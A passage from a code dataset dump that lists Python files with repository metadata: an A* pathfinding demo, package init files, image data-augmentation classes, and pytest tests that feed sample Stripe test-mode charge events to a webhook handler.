1,9,1,1,9,1,1,1,1,9,1,1,1,1,9,1,1,1,1,1, # 15
1,9,9,9,9,1,1,1,1,1,1,9,9,9,9,1,1,1,1,1, # 16
1,1,9,9,9,9,9,9,9,1,1,1,9,9,9,1,9,9,9,9, # 17
1,9,1,1,1,1,1,1,1,1,1,9,1,1,1,1,1,1,1,1, # 18
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 # 19
]
# for AStarPython, 0 for no obstacles; 255 for obstacles
for idx in range(len(world_map)):
if world_map[idx] == 9:
world_map[idx] = 255
else:
world_map[idx] = 0
# define the start and goal
start = [0, 0]
end = [14, 10]
path, steps_used = AStarPython.FindPath(start, end, world_map, map_width, map_height)
print("This is the path. " + "Steps used:" + str(steps_used))
for idx in range(0,len(path),2):
str_print = str(path[idx]) + ', ' + str(path[idx+1])
print(str_print)
# This is for an agent and a set of targets
agent_position = [0, 0]
targets_position = [0,19, 19,19, 19,0]
path_many, steps_all = AStarPython.FindPathAll(agent_position, targets_position, world_map, map_width, map_height)
print("These are all the paths:")
for i in range(0,len(path_many),1):
print("This is a path. " + "Steps used:" + str(steps_all[i]))
for j in range(0,len(path_many[i]),2):
str_print = str(path_many[i][j]) + ', ' + str(path_many[i][j+1])
print(str_print) | 39.793651 | 118 | 0.512964 | 645 | 2,507 | 1.934884 | 0.125581 | 0.240385 | 0.269231 | 0.278846 | 0.485577 | 0.399038 | 0.366186 | 0.314103 | 0.307692 | 0.290064 | 0 | 0.275862 | 0.248105 | 2,507 | 63 | 119 | 39.793651 | 0.386207 | 0.113682 | 0 | 0.28 | 0 | 0 | 0.044606 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.06 | 0 | 0.06 | 0.14 | 0 | 0 | 1 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2a822e828d65883bbfa7463fe18c91a0b22a5e47 | 29 | py | Python | stalker/__init__.py | caian-org/stock-stalker | e571341a748cf6117ffbe39077f5a4f1e2f5abd7 | [
"CC0-1.0"
] | null | null | null | stalker/__init__.py | caian-org/stock-stalker | e571341a748cf6117ffbe39077f5a4f1e2f5abd7 | [
"CC0-1.0"
] | null | null | null | stalker/__init__.py | caian-org/stock-stalker | e571341a748cf6117ffbe39077f5a4f1e2f5abd7 | [
"CC0-1.0"
] | null | null | null | from .handler import handler
| 14.5 | 28 | 0.827586 | 4 | 29 | 6 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137931 | 29 | 1 | 29 | 29 | 0.96 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
aa758a688fca0ef7b8f5cb9e9ae7ecd910153e7d | 1,072 | py | Python | cherry/__init__.py | natethinks/cherry | a482621a3e397f6667f21e16d5ec0eb12c7fc4fb | [
"MIT"
] | 1 | 2020-03-07T16:59:09.000Z | 2020-03-07T16:59:09.000Z | cherry/__init__.py | natethinks/cherry | a482621a3e397f6667f21e16d5ec0eb12c7fc4fb | [
"MIT"
] | null | null | null | cherry/__init__.py | natethinks/cherry | a482621a3e397f6667f21e16d5ec0eb12c7fc4fb | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Naive Bayes Classifier
~~~~~~~~~~~~~~~~~~~~~
cherry is a python classifier library
usage:
>>> import cherry
>>> result = cherry.classify('警方召开了全省集中打击赌博违法犯罪活动专项行动电视电话会议。会议的重点是“查处”六合彩、赌球赌马等赌博活动。')
>>> result.percentage
[('normal.dat', 0.7310585786300049), ('gamble.dat', 0.2689414213699951)]
>>> result.words_list
[('查处', 1.6550930245052333), ('电视电话会议', 0.844162808288905), ('活动', 3.0746199776976972), ('赌博', 1.8186042209197311), ('警方', 2.7900729573442176), ('六合彩', 1.4727714677112775), ('违法犯罪', 2.7900729573442176), ('全省', 1.0673063596031147), ('集中', 1.1626165394074395), ('召开', 1.2496279163970687), ('打击', 3.0687863598132381), ('专项', 1.5373099888488495), ('赌球', 1.7604535401630592), ('会议', 2.0969257767842722), ('重点', 2.0228178046305505), ('赌马', 0.1510156277289596), ('行动', 2.3482402050651787)]
:copyright: (c) 2018-2019 by Windson Yang
:license: MIT License, see LICENSE for more details.
"""
# workflow: search -> display -> train -> classify -> performance
from .api import classify, train, performance, search, display
| 51.047619 | 485 | 0.679104 | 116 | 1,072 | 6.267241 | 0.715517 | 0.011004 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.348055 | 0.112873 | 1,072 | 20 | 486 | 53.6 | 0.416404 | 0.928172 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
aa8ca47187baba87fd1dbec992aca91a3ce52b34 | 194 | py | Python | utils/config.py | dschori/Agroscope | 69a174d400b5cc1f842a825d73ade4b7ddb28590 | [
"MIT"
] | 2 | 2021-01-20T08:31:15.000Z | 2021-07-26T13:26:03.000Z | utils/config.py | dschori/Agroscope | 69a174d400b5cc1f842a825d73ade4b7ddb28590 | [
"MIT"
] | 7 | 2020-03-31T11:30:35.000Z | 2022-02-10T01:39:46.000Z | utils/config.py | dschori/Rumex-Detection | 69a174d400b5cc1f842a825d73ade4b7ddb28590 | [
"MIT"
] | null | null | null | class Config(object):
DATA_BASE_PATH = '../data'
RAW_PATH = '../data/LabelingTool/'
DATA_IMAGE_PATH = DATA_BASE_PATH + '/Images'
DATA_MASK_PATH = DATA_BASE_PATH + '/Masks'
SHAPE = (512,768) | 32.333333 | 45 | 0.71134 | 28 | 194 | 4.535714 | 0.535714 | 0.251969 | 0.283465 | 0.251969 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.035503 | 0.128866 | 194 | 6 | 46 | 32.333333 | 0.715976 | 0 | 0 | 0 | 0 | 0 | 0.210256 | 0.107692 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
aad8cfb926613355ab45ff15f32052d7c421288c | 154 | py | Python | hydraseq/__init__.py | Niarfe/hydraseq | 43939e58857581fd493bf603038dcb72c419f30f | [
"MIT"
] | null | null | null | hydraseq/__init__.py | Niarfe/hydraseq | 43939e58857581fd493bf603038dcb72c419f30f | [
"MIT"
] | 1 | 2019-11-03T01:00:18.000Z | 2019-11-03T01:00:18.000Z | hydraseq/__init__.py | hydraseq/hydraseq | 43939e58857581fd493bf603038dcb72c419f30f | [
"MIT"
] | null | null | null | name = "hydraseq"
__version__ = '0.0.30'
from hydraseq.hydraseq import Node
from hydraseq.hydraseq import Hydraseq
from hydraseq.automata import DFAstate
| 25.666667 | 38 | 0.811688 | 21 | 154 | 5.761905 | 0.47619 | 0.297521 | 0.330579 | 0.429752 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.029412 | 0.116883 | 154 | 5 | 39 | 30.8 | 0.860294 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.6 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
aae0944989401f7bbde8ab0241eac9846a67b2fb | 7,812 | py | Python | nutszebra_data_augmentation.py | nutszebra/trainer | 9359c6ed01c5dad832e957e0adc1a41c79967044 | [
"MIT"
] | 5 | 2016-12-25T02:55:28.000Z | 2018-05-30T10:40:36.000Z | nutszebra_data_augmentation.py | nutszebra/trainer | 9359c6ed01c5dad832e957e0adc1a41c79967044 | [
"MIT"
] | null | null | null | nutszebra_data_augmentation.py | nutszebra/trainer | 9359c6ed01c5dad832e957e0adc1a41c79967044 | [
"MIT"
] | 2 | 2017-12-14T19:45:04.000Z | 2019-08-24T03:19:35.000Z | import numpy as np
import nutszebra_data_augmentation_picture
from functools import wraps
da = nutszebra_data_augmentation_picture.DataAugmentationPicture()
def reset(func):
@wraps(func)
def wrapper(self, *args, **kwargs):
da()
return func(self, *args, **kwargs)
return wrapper
class DataAugmentationCifar10NormalizeSmall(object):
@staticmethod
@reset
def train(img):
da(img).convert_to_image_format(1.0).resize_image_randomly(1.0, size_range=(32, 36)).crop_picture_randomly(1.0, sizes=(32, 32)).cutout(0.5, sizes=(16, 16)).normalize_picture(1.0, value=10.).horizontal_flipping(0.5).convert_to_chainer_format(1.0)
return da.x, da.info
@staticmethod
@reset
def test(img):
da(img).convert_to_image_format(1.0).resize_image_randomly(1.0, size_range=(32, 32), interpolation='bilinear').normalize_picture(1.0, value=10.).convert_to_chainer_format(1.0)
return da.x, da.info
class DataAugmentationCifar10NormalizeMiddle(object):
@staticmethod
@reset
def train(img):
da(img).convert_to_image_format(1.0).resize_image_randomly(1.0, size_range=(64, 68)).crop_picture_randomly(1.0, sizes=(64, 64)).cutout(0.5, sizes=(32, 32)).normalize_picture(1.0, value=10.).horizontal_flipping(0.5).convert_to_chainer_format(1.0)
return da.x, da.info
@staticmethod
@reset
def test(img):
da(img).convert_to_image_format(1.0).resize_image_randomly(1.0, size_range=(64, 64), interpolation='bilinear').normalize_picture(1.0, value=10.).convert_to_chainer_format(1.0)
return da.x, da.info
class DataAugmentationCifar10NormalizeBig(object):
@staticmethod
@reset
def train(img):
da(img).convert_to_image_format(1.0).resize_image_randomly(1.0, size_range=(128, 132)).crop_picture_randomly(1.0, sizes=(128, 128)).cutout(0.5, sizes=(64, 64)).normalize_picture(1.0, value=10.).horizontal_flipping(0.5).convert_to_chainer_format(1.0)
return da.x, da.info
@staticmethod
@reset
def test(img):
da(img).convert_to_image_format(1.0).resize_image_randomly(1.0, size_range=(128, 128), interpolation='bilinear').normalize_picture(1.0, value=10.).convert_to_chainer_format(1.0)
return da.x, da.info
class DataAugmentationCifar10NormalizeBigger(object):
@staticmethod
@reset
def train(img):
da.convert_to_image_format(img).resize_image_randomly(1.0, size_range=(256, 512)).crop_picture_randomly(1.0, sizes=(224, 224)).cutout(0.5, sizes=(112, 112)).normalize_picture(1.0, value=10.).horizontal_flipping(0.5).convert_to_chainer_format(1.0)
return da.x, da.info
@staticmethod
@reset
def test(img):
da.convert_to_image_format(img).resize_image_randomly(1.0, size_range=(384, 384), interpolation='bilinear').normalize_picture(1.0, value=10.).convert_to_chainer_format(1.0)
return da.x, da.info
class DataAugmentationCifar10NormalizeHuge(object):
@staticmethod
@reset
def train(img):
da(img).convert_to_image_format(1.0).resize_image_randomly(1.0, size_range=(299, 512)).crop_picture_randomly(1.0, sizes=(299, 299)).cutout(0.5, sizes=(114, 114)).normalize_picture(1.0, value=10.).horizontal_flipping(0.5).convert_to_chainer_format(1.0)
return da.x, da.info
@staticmethod
@reset
def test(img):
da(img).convert_to_image_format(1.0).resize_image_randomly(1.0, size_range=(406, 406), interpolation='bilinear').normalize_picture(1.0, value=10.).convert_to_chainer_format(1.0)
return da.x, da.info
class DataAugmentationNormalizeSmall(object):
@staticmethod
@reset
def train(img):
da.load_picture(img).resize_image_randomly(1.0, size_range=(32, 36)).crop_picture_randomly(1.0, sizes=(32, 32)).normalize_picture(1.0, value=10.).horizontal_flipping(0.5).convert_to_chainer_format(1.0)
return da.x, da.info
@staticmethod
@reset
def test(img):
da.load_picture(img).resize_image_randomly(1.0, size_range=(32, 32), interpolation='bilinear').normalize_picture(1.0, value=10.).convert_to_chainer_format(1.0)
return da.x, da.info
class DataAugmentationNormalizeMiddle(object):
@staticmethod
@reset
def train(img):
da.load_picture(img).resize_image_randomly(1.0, size_range=(64, 68)).crop_picture_randomly(1.0, sizes=(64, 64)).normalize_picture(1.0, value=10.).horizontal_flipping(0.5).convert_to_chainer_format(1.0)
return da.x, da.info
@staticmethod
@reset
def test(img):
da.load_picture(img).resize_image_randomly(1.0, size_range=(64, 64), interpolation='bilinear').normalize_picture(1.0, value=10.).convert_to_chainer_format(1.0)
return da.x, da.info
class DataAugmentationNormalizeBig(object):
@staticmethod
@reset
def train(img):
da.load_picture(img).resize_image_randomly(1.0, size_range=(129, 132)).crop_picture_randomly(1.0, sizes=(128, 128)).normalize_picture(1.0, value=10.).horizontal_flipping(0.5).convert_to_chainer_format(1.0)
return da.x, da.info
@staticmethod
@reset
def test(img):
da.load_picture(img).resize_image_randomly(1.0, size_range=(128, 128), interpolation='bilinear').normalize_picture(1.0, value=10.).convert_to_chainer_format(1.0)
return da.x, da.info
class DataAugmentationNormalizeBigger(object):
@staticmethod
@reset
def train(img):
da.load_picture(img).gray_to_rgb(1.0).resize_image_randomly(1.0, size_range=(256, 512)).crop_picture_randomly(1.0, sizes=(224, 224)).normalize_picture(1.0, value=10.).horizontal_flipping(0.5).convert_to_chainer_format(1.0)
return da.x, da.info
@staticmethod
@reset
def test(img):
da.load_picture(img).gray_to_rgb(1.0).resize_image_randomly(1.0, size_range=(384, 384), interpolation='bilinear').normalize_picture(1.0, value=10.).convert_to_chainer_format(1.0)
return da.x, da.info
class DataAugmentationNormalizeHuge(object):
@staticmethod
@reset
def train(img):
da.load_picture(img).resize_image_randomly(1.0, size_range=(299, 512)).crop_picture_randomly(1.0, sizes=(299, 299)).normalize_picture(1.0, value=10.).horizontal_flipping(0.5).convert_to_chainer_format(1.0)
return da.x, da.info
@staticmethod
@reset
def test(img):
da.load_picture(img).resize_image_randomly(1.0, size_range=(406, 406), interpolation='bilinear').normalize_picture(1.0, value=10.).convert_to_chainer_format(1.0)
return da.x, da.info
class DoNothing(object):
@staticmethod
@reset
def train(img):
return img, None
@staticmethod
@reset
def test(img):
return img, None
class Ndim(object):
def __init__(self, ndim=3):
self.ndim = ndim
def train(self, img):
img = np.array(img)
if not img.ndim == self.ndim:
diff = self.ndim - img.ndim
img = np.reshape(img, (1,) * diff + img.shape)
return img, None
def test(self, img):
img = np.array(img)
if not img.ndim == self.ndim:
diff = self.ndim - img.ndim
img = np.reshape(img, (1,) * diff + img.shape)
return img, None
class DataAugmentationNormalizeBigOneChannel(object):
@staticmethod
@reset
def train(img):
da.load_picture(img, ndim=2).resize_image_randomly(1.0, size_range=(129, 132)).crop_picture_randomly(1.0, sizes=(128, 128)).normalize_picture(1.0, value=10.).convert_to_chainer_format(1.0)
return da.x, da.info
@staticmethod
@reset
def test(img):
da.load_picture(img, ndim=2).resize_image_randomly(1.0, size_range=(128, 128), interpolation='bilinear').normalize_picture(1.0, value=10.).convert_to_chainer_format(1.0)
return da.x, da.info
| 37.023697 | 259 | 0.698157 | 1,160 | 7,812 | 4.493103 | 0.080172 | 0.033385 | 0.063315 | 0.084421 | 0.853607 | 0.848427 | 0.841903 | 0.835955 | 0.835955 | 0.82924 | 0 | 0.070457 | 0.162442 | 7,812 | 210 | 260 | 37.2 | 0.72612 | 0 | 0 | 0.683871 | 0 | 0 | 0.011265 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.187097 | false | 0 | 0.019355 | 0.012903 | 0.470968 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2aed6ae4246e829a13d68c37df04665448927dca | 165 | py | Python | src/z3c/saconfig/__init__.py | nazrulworld/z3c.saconfig | 6096b98935561b7d6f333bba40d1a850241e2da1 | [
"ZPL-2.1"
] | null | null | null | src/z3c/saconfig/__init__.py | nazrulworld/z3c.saconfig | 6096b98935561b7d6f333bba40d1a850241e2da1 | [
"ZPL-2.1"
] | null | null | null | src/z3c/saconfig/__init__.py | nazrulworld/z3c.saconfig | 6096b98935561b7d6f333bba40d1a850241e2da1 | [
"ZPL-2.1"
] | null | null | null | from z3c.saconfig.scopedsession import Session, named_scoped_session
from z3c.saconfig.utility import (
GloballyScopedSession, SiteScopedSession, EngineFactory)
| 41.25 | 68 | 0.848485 | 17 | 165 | 8.117647 | 0.705882 | 0.101449 | 0.217391 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013423 | 0.09697 | 165 | 3 | 69 | 55 | 0.912752 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2d5412ab2ba001f5808bad65ebb0c7ffb5104246 | 20 | py | Python | coresender/requests/__init__.py | coresender/coresender-sdk-python | 76666eb4187042d35b88c34cb3201591dd86ffca | [
"MIT"
] | 8 | 2020-06-02T13:47:40.000Z | 2020-07-27T11:48:59.000Z | coresender/requests/__init__.py | coresender/coresender-sdk-python | 76666eb4187042d35b88c34cb3201591dd86ffca | [
"MIT"
] | null | null | null | coresender/requests/__init__.py | coresender/coresender-sdk-python | 76666eb4187042d35b88c34cb3201591dd86ffca | [
"MIT"
] | null | null | null | from .send import *
| 10 | 19 | 0.7 | 3 | 20 | 4.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 20 | 1 | 20 | 20 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2d6c9a9c90d748596a0ea34527713abc05caaac3 | 14,322 | py | Python | tests/test_webhooks.py | gbozee/pystripe | 42ffef976bfec5ee0021c53dcd29676abdf78204 | [
"MIT"
] | null | null | null | tests/test_webhooks.py | gbozee/pystripe | 42ffef976bfec5ee0021c53dcd29676abdf78204 | [
"MIT"
] | null | null | null | tests/test_webhooks.py | gbozee/pystripe | 42ffef976bfec5ee0021c53dcd29676abdf78204 | [
"MIT"
] | 1 | 2019-11-05T18:51:00.000Z | 2019-11-05T18:51:00.000Z | from pystripe.api import signals
from pystripe import utils
from dispatch import receiver
import pytest
@receiver(signals.successful_payment_signal)
def signal_called(sender, **kwargs):
kwargs.pop("signal", None)
generic_function(**kwargs)
def generic_function(**params):
print(params)
@receiver(signals.failed_payment_signal)
def signal_called_2(sender, **kwargs):
kwargs.pop("signal", None)
generic_function(**kwargs)
@pytest.fixture
def mock_generic_func(mocker):
mock_successful_call = mocker.patch("test_webhooks.generic_function")
mock_digest = mocker.patch("stripe.WebhookSignature.verify_header")
mock_digest.return_value = True
return mock_successful_call
def test_successful_charge_webhook_signal(
mock_generic_func, stripe_api: utils.StripeAPI
):
body = """{
"id": "evt_1FZp49Hv0Y0PURSqIxXfx6W1",
"object": "event",
"api_version": "2019-03-14",
"created": 1572572201,
"data": {
"object": {
"id": "ch_1FZp48Hv0Y0PURSq0buZ6d6f",
"object": "charge",
"amount": 2000,
"amount_refunded": 0,
"application": null,
"application_fee": null,
"application_fee_amount": null,
"balance_transaction": "txn_1FZp48Hv0Y0PURSqV70KLTLF",
"billing_details": {
"address": {"city": null, "country": null, "line1": null, "line2": null, "postal_code": null, "state": null},
"email": null,
"name": null,
"phone": null
},
"captured": true, "created": 1572572200, "currency": "usd", "customer": null, "description": null, "destination": null, "dispute": null, "failure_code": null, "failure_message": null, "fraud_details": {}, "invoice": null, "livemode": false, "metadata": {}, "on_behalf_of": null, "order": null,
"outcome": {"network_status": "approved_by_network", "reason": null, "risk_level": "normal", "risk_score": 42, "seller_message": "Payment complete.", "type": "authorized"},
"paid": true,
"payment_intent": null,
"payment_method": "card_1FZp48Hv0Y0PURSqsmipr0Rv",
"payment_method_details": {"card": {"brand": "visa", "checks": {"address_line1_check": null, "address_postal_code_check": null, "cvc_check": null}, "country": "US", "exp_month": 11, "exp_year": 2020, "fingerprint": "yIwZJF6Qz10rsS7J", "funding": "credit", "installments": null, "last4": "4242", "network": "visa", "three_d_secure": null, "wallet": null}, "type": "card"}, "receipt_email": null, "receipt_number": null, "receipt_url": "https://pay.stripe.com/receipts/acct_1EJOOLHv0Y0PURSq/ch_1FZp48Hv0Y0PURSq0buZ6d6f/rcpt_G616Ubt8hAj7Th4vdY2MfK34OAIxOPi", "refunded": false, "refunds": {"object": "list", "data": [], "has_more": false, "total_count": 0, "url": "/v1/charges/ch_1FZp48Hv0Y0PURSq0buZ6d6f/refunds"}, "review": null, "shipping": null, "source": {"id": "card_1FZp48Hv0Y0PURSqsmipr0Rv", "object": "card", "address_city": null, "address_country": null, "address_line1": null, "address_line1_check": null, "address_line2": null, "address_state": null, "address_zip": null, "address_zip_check": null, "brand": "Visa", "country": "US", "customer": null, "cvc_check": null, "dynamic_last4": null, "exp_month": 11, "exp_year": 2020, "fingerprint": "yIwZJF6Qz10rsS7J", "funding": "credit", "last4": "4242", "metadata": {}, "name": null, "tokenization_method": null}, "source_transfer": null, "statement_descriptor": null, "statement_descriptor_suffix": null, "status": "succeeded", "transfer_data": null, "transfer_group": null}}, "livemode": false, "pending_webhooks": 3,
"request": {"id": "req_fGRGYYasLgdcRq", "idempotency_key": null},
"type": "charge.succeeded"
}"""
stripe_api.webhook_api.verify("unique_signature", body)
mock_generic_func.assert_called_once_with(
event="charge.succeeded",
data={
"id": "ch_1FZp48Hv0Y0PURSq0buZ6d6f",
"amount": 20.0,
"currency": "usd",
"customer": None,
"payment_details": {
"brand": "visa",
"checks": {
"address_line1_check": None,
"address_postal_code_check": None,
"cvc_check": None,
},
"country": "US",
"exp_month": 11,
"exp_year": 2020,
"fingerprint": "yIwZJF6Qz10rsS7J",
"funding": "credit",
"installments": None,
"last4": "4242",
"network": "visa",
"three_d_secure": None,
"wallet": None,
},
"status": "succeeded",
"amount_refunded": 0,
"failure": {},
"outcome": {
"network_status": "approved_by_network",
"reason": None,
"risk_level": "normal",
"risk_score": 42,
"seller_message": "Payment complete.",
"type": "authorized",
},
},
)
def test_failed_payment_transfer(mock_generic_func, stripe_api):
body = """
{"id": "evt_1FZpYhHv0Y0PURSqOU8uvKJD", "object": "event", "api_version": "2019-03-14", "created": 1572574095, "data": {"object": {"id": "ch_1FZpYhHv0Y0PURSqnaxbrowv", "object": "charge", "amount": 2000, "amount_refunded": 0, "application": null, "application_fee": null, "application_fee_amount": null, "balance_transaction": null, "billing_details": {"address": {"city": null, "country": null, "line1": null, "line2": null, "postal_code":
null, "state": null}, "email": null, "name": null, "phone": null}, "captured": false, "created": 1572574095, "currency": "usd", "customer": null, "description": null, "destination": null, "dispute": null, "failure_code": "card_declined", "failure_message": "Your card was declined.", "fraud_details": {}, "invoice": null, "livemode": false, "metadata": {}, "on_behalf_of": null, "order": null, "outcome": {"network_status": "declined_by_network", "reason": "generic_decline", "risk_level": "normal", "risk_score": 55, "seller_message": "The bank did not return any further details with this decline.", "type": "issuer_declined"}, "paid": false, "payment_intent": null, "payment_method": "card_1FZpYhHv0Y0PURSqJWu9ppxe", "payment_method_details": {"card": {"brand": "visa", "checks": {"address_line1_check": null, "address_postal_code_check": null, "cvc_check": null}, "country": "US", "exp_month": 11, "exp_year": 2020, "fingerprint": "invoLvA3S2339Hlz", "funding": "credit", "installments": null, "last4": "0002", "network": "visa", "three_d_secure": null, "wallet": null}, "type": "card"}, "receipt_email": null, "receipt_number": null, "receipt_url": "https://pay.stripe.com/receipts/acct_1EJOOLHv0Y0PURSq/ch_1FZpYhHv0Y0PURSqnaxbrowv/rcpt_G61bfiwujEVbmBleDeprVDK1Z4eXnCX", "refunded": false, "refunds": {"object": "list", "data": [], "has_more": false, "total_count": 0, "url": "/v1/charges/ch_1FZpYhHv0Y0PURSqnaxbrowv/refunds"}, "review": null, "shipping": null, "source": {"id": "card_1FZpYhHv0Y0PURSqJWu9ppxe", "object": "card", "address_city": null, "address_country": null, "address_line1": null, "address_line1_check": null, "address_line2": null, "address_state": null, "address_zip": null, "address_zip_check": null, "brand": "Visa", "country": "US", "customer": null, "cvc_check": null, "dynamic_last4": null, "exp_month": 11, "exp_year": 2020, "fingerprint": "invoLvA3S2339Hlz", "funding": "credit", "last4": "0002", "metadata": {}, "name": null, "tokenization_method": null}, "source_transfer": null, "statement_descriptor": null, "statement_descriptor_suffix": null, "status": "failed", "transfer_data": null, "transfer_group": null}}, "livemode": false, "pending_webhooks": 3, "request": {"id": "req_t91WTWN0dgrmmJ", "idempotency_key": null}, "type": "charge.failed"}
"""
stripe_api.webhook_api.verify("unique_signature", body)
mock_generic_func.assert_called_once_with(
event="charge.failed",
data={
"id": "ch_1FZpYhHv0Y0PURSqnaxbrowv",
"amount": 20.0,
"currency": "usd",
"customer": None,
"payment_details": {
"brand": "visa",
"checks": {
"address_line1_check": None,
"address_postal_code_check": None,
"cvc_check": None,
},
"country": "US",
"exp_month": 11,
"exp_year": 2020,
"fingerprint": "invoLvA3S2339Hlz",
"funding": "credit",
"installments": None,
"last4": "0002",
"network": "visa",
"three_d_secure": None,
"wallet": None,
},
"status": "failed",
"amount_refunded": 0,
"failure": {"code": "card_declined", "message": "Your card was declined."},
"outcome": {
"network_status": "declined_by_network",
"reason": "generic_decline",
"risk_level": "normal",
"risk_score": 55,
"seller_message": "The bank did not return any further details with this decline.",
"type": "issuer_declined",
},
},
)
def test_refund_payment(mock_generic_func, stripe_api):
body = """{
"id": "evt_1FZpUiHv0Y0PURSq6ht36S8d",
"object": "event", "api_version": "2019-03-14",
"created": 1572573848, "data": {"object": {"id": "ch_1FZpUgHv0Y0PURSqfcRHxRDP", "object": "charge", "amount": 2000, "amount_refunded": 2000, "application": null, "application_fee": null, "application_fee_amount": null, "balance_transaction": "txn_1FZpUgHv0Y0PURSqadIi9xwK", "billing_details": {"address": {"city": null, "country": null, "line1": null, "line2": null, "postal_code": null, "state": null}, "email": null, "name": null, "phone": null}, "captured": true, "created": 1572573846, "currency": "usd", "customer": null, "description": null, "destination": null, "dispute": null, "failure_code": null, "failure_message": null, "fraud_details": {}, "invoice": null, "livemode": false, "metadata": {}, "on_behalf_of": null, "order": null, "outcome": {"network_status": "approved_by_network", "reason": null, "risk_level": "normal", "risk_score": 51,
"seller_message": "Payment complete.", "type": "authorized"}, "paid": true, "payment_intent": null, "payment_method": "card_1FZpUgHv0Y0PURSqykuRPITN", "payment_method_details": {"card": {"brand": "visa", "checks": {"address_line1_check": null, "address_postal_code_check": null, "cvc_check": null}, "country": "US", "exp_month": 11, "exp_year": 2020, "fingerprint": "yIwZJF6Qz10rsS7J", "funding": "credit", "installments": null, "last4": "4242", "network": "visa", "three_d_secure": null, "wallet": null}, "type": "card"}, "receipt_email": null, "receipt_number": null, "receipt_url": "https://pay.stripe.com/receipts/acct_1EJOOLHv0Y0PURSq/ch_1FZpUgHv0Y0PURSqfcRHxRDP/rcpt_G61XPmyNekRgoLd7Rgm626Yg0niyGmu", "refunded": true, "refunds": {"object": "list", "data": [{"id": "re_1FZpUhHv0Y0PURSqAcxHxT8r", "object": "refund", "amount": 2000, "balance_transaction": "txn_1FZpUhHv0Y0PURSqFGxqIJ5D", "charge": "ch_1FZpUgHv0Y0PURSqfcRHxRDP", "created": 1572573847, "currency": "usd", "metadata": {}, "reason": null, "receipt_number": null, "source_transfer_reversal": null, "status": "succeeded", "transfer_reversal": null}], "has_more": false, "total_count": 1, "url": "/v1/charges/ch_1FZpUgHv0Y0PURSqfcRHxRDP/refunds"}, "review": null, "shipping": null, "source": {"id": "card_1FZpUgHv0Y0PURSqykuRPITN", "object": "card", "address_city": null, "address_country": null, "address_line1": null, "address_line1_check": null, "address_line2": null, "address_state": null, "address_zip": null, "address_zip_check": null, "brand": "Visa", "country": "US", "customer": null, "cvc_check": null, "dynamic_last4": null, "exp_month": 11, "exp_year": 2020, "fingerprint": "yIwZJF6Qz10rsS7J", "funding": "credit", "last4": "4242", "metadata": {}, "name": 